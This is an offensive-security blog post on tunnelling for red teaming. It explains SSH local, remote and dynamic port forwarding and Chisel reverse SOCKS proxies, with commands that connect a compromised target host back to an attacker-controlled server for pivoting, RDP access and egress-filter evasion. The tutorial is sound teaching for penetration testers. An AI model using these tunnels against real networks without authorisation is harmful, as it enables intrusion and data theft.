redteam Featured

Tunnelling For Offensive Security

One thing that comes up a lot when it comes to red teaming, penetration testing and breaching a network is being able to proxy traffic into multiple environments.

Andy Gill

Dec 19, 2021 • 7 min read

One thing that comes up a lot when it comes to red teaming, penetration testing and breaching a network is proxy or tunnel traffic into multiple environments. The most common methods are using SSH port forwarding or Socket Secure (SOCKS) proxies. This post will dive into both methods and the different ways in which they can be leveraged.

Quickly what is SOCKS as I'll talk about it a lot in this post and if you are unfamiliar with the term here is a quick explainer. A SOCKS proxy works by channeling your traffic through a proxy server, which then passes the information on to the intended destination. The SOCKS protocol achieves this by first establishing a TCP connection with the proxy server. Once this is established you can send data to the proxy server, which then passes the data onto its destination.

I was initially going to explore all of the different methods,, but I have found myself using SSH port forwarding and Chisel more often than not during engagements with some sprinkles of Cobalt Strike's SOCKS proxy,, but Chisel and SSH are two tools that any aspiring or current penetration tester should learn about!

SSH Port Forwarding

SSH is the most underrated tool for penetration testing; the ability to forward ports, open up tunnels and do all sorts of witchcraft is fantastic. SSH port forwarding comes in useful when you may only have SSH access to a machine and may want to proxy traffic into an environment to get access. Or alternatively, there are strict outbound firewall rules(if you want to know how to lock down SSH, I have written about this in the past and can be found here) restricting what protocols and ports are allowed outbound.

It is also helpful for when you want to pivot through a Linux machine or in more modern windows environments. Some Windows 10 systems have SSH installed! There are a few different types of port forwarding when it comes to SSH, local static port forwarding, remote static port forwarding, and dynamic. It, however boils down to two static and dynamic.

The beauty of all the commands listed below is they will work regardless of what system you are operating on. As mentioned above, Windows 10 hosts ship with SSH out the box therefore, no additional programs are required!

Static

Static port forwarding is where a singular port is set and usually either localhost or a remote host that the SSH host can reach. An example is local port forwarding and remote port forwarding. Typically using static forwarding would be if a host has a service running on localhost and you want to access that via SSH; this can be achieved in the following scenario:

ssh -L source_port:forward_to_host:destination_port via_host

Server X is running an application on localhost:31337, and I want to access it from my machine Y. -L Specifies that the given port on the local (client) host must be forwarded to the given host and port on the remote side. I can SSH into the machine using the following command:

ssh -L 31337:localhost:31337 user@serverx

Then accessing localhost:31337 from your machine will access that on the remote host. Similarly, if there's a machine that you want to hop through, we can do a command like:

ssh -L 443:10.10.20.21:8443 user@server

This will open 443 on your local machine and tunnel traffic through our remote server to the host 10.10.20.21 on port 8443; this can be useful if the remote host is only accessible through a bastion host such as the server in this example.

ssh -R sourcePort:HostToForwardTrafficTo:onPort connectToHost

Remote port forwarding works slightly differently from that of local port forwarding as it enables you to forward all connections to a port on your local machine and pass them across to the remote host.

It is essentially local port forwarding but in reverse, so instead of hitting localhost and connecting to the remote server, users can hit the remote server and be passed to your localhost, which is helpful for forwarding via NAT and internal firewalls.

Dynamic

Now, while static port forwarding is incredibly useful, dynamic gets very interesting. Dynamic port forwarding allows you to create a SOCKS proxy server that allows communication across a range of ports rather than just one singular port.

When a client connects to this port, the connection is forwarded to the remote (ssh server) machine, which is then sent to a dynamic port on the destination machine, allowing for sending all manner of traffic via an SSH host.

The notation is very similar to that of local port forwarding; it uses the -D flag to specify the port and host:

ssh -D localip:localport user@server

localip:localport is a local machine IP address and port number; this can be an IP on your local network or your localhost; if you do not specify an IP, SSH will default to localhost on whatever port you specify.

Now opening ports on hosts is great, but if we wanted to spin up a SOCKS proxy and run it as a background process rather than an interactive shell, the following command would enable you to achieve this whilst opening a SOCKS proxy on port. 1337.

ssh -D 1337 -N -f user@server

-D Open dynamic port forward on port 1337 of localhost
-N Turns off interactive shell access,
-f Pushes the process to the background to enable SSh to run as a process rather than interactively.

A typical example of dynamic port forwarding is tunnelling web browser traffic through an SSH server. To access an internal network or similar.

Chisel

In addition to SSH, Chisel is my newfound love when it comes to proxying from environments, all you need is HTTPS or SSH outbound available, and you can open up a SOCKS proxy. The steps to do this are as easy as follows:

Setup server on VPS with: chisel server -p 443 -reverse -v --socks5
Setup client on the target host with: chisel client <SERVERIP OR HOSTNAME>:443 R:socks
Setup proxychains on VPS to test with nano /etc/proxychains.conf append : SOCKS5 127.0.0.1 1080
If/when you want to proxy through your attacker server using proxychains do the following:
ssh -L 1080:127.0.0.1:1080 root@ATTACKERSERVER - note it doesn't need to be the root user.
Then you can proxychains from your machine by repeating step 3 on your attacking machine you've ssh'd FROM SOCKS5 127.0.0.1 1080
Finally use proxychains to pass whatever traffic you want down the line, or if you are on a Windows host you can use Proxifier which also works a treat for RDP and browser-based proxying. proxychains rdesktop internalIP

Chisel and other SOCKS proxies work great in combination with Proxifier and Proxychains, both of which work on multiple platforms; I have a newfound love for Proxifier as it enables you to proxy specific applications and send the rest down the standard line.

This is particularly useful for applications like RDP and SSH, where specific hosts can be added to an allowed list of connectable hosts. It is worth noting however that Proxifier is paid for and is only available on MacOS and Windows, other solutions are available for Linux.

Examples

Understanding what SSH, SOCKS proxies and port forwarding are all important but without examples how are you going to know common use cases? Well some that come to mind when you are in an offensive security environment are; data egress and ingress, firewall bypasses and secure tunnelling through bastion hosts. A prime example that comes to mind is if you have popped a machine inside a network and want to tunnel traffic from your host machine via that compromised machine you can leverage either SSH or a SOCKS proxy to pass traffic into the internal network.

An example would be using something like MSTSC.exe also known as Remote Desktop Protocol(RDP) software built into windows and using this to access hosts on a remote network via SOCKS, this can be facilitated via a SOCKS proxy and using something like Proxifier to pass your traffic to the remote box thus making for a seamless experience like you were connected to a VPN or on the same network as the target machine.

Nettitude Labs did a great illustration of this in their blog post about SharpSocks, it demonstrates using a SOCKS proxy to channel RDP traffic via a C2 implant and SOCKS.

Tooling

There are quite a few tools for proxying and evading egress filtering. I've already touched on Chisel and its unique properties plus how to leverage it to proxy traffic out of an environment. The list below shows some of the tools I've used previously that are worth checking out; each also dives into the specifics and syntax for using them.

I am not doing to dive into these tools specifically and how to use them in this post as they all have equally great posts explaining by others within the industry but hopefully by learning about them you can leverage them on engagements to come. Specter Ops have a great post on how to leverage proxifier and other tooling to proxy information through SOCKS.

Conclusion

You've made it this far down the post, thank you for reading, I hope it gives you some of the areas to explore some more. It has not been a complete guide as I didn't want to re-write the already great posts that others have done. However it gives a bit of guidance around areas that should be noted and some of the key tools you might not have considered before for proxying traffic and how to use SSH a little bit better.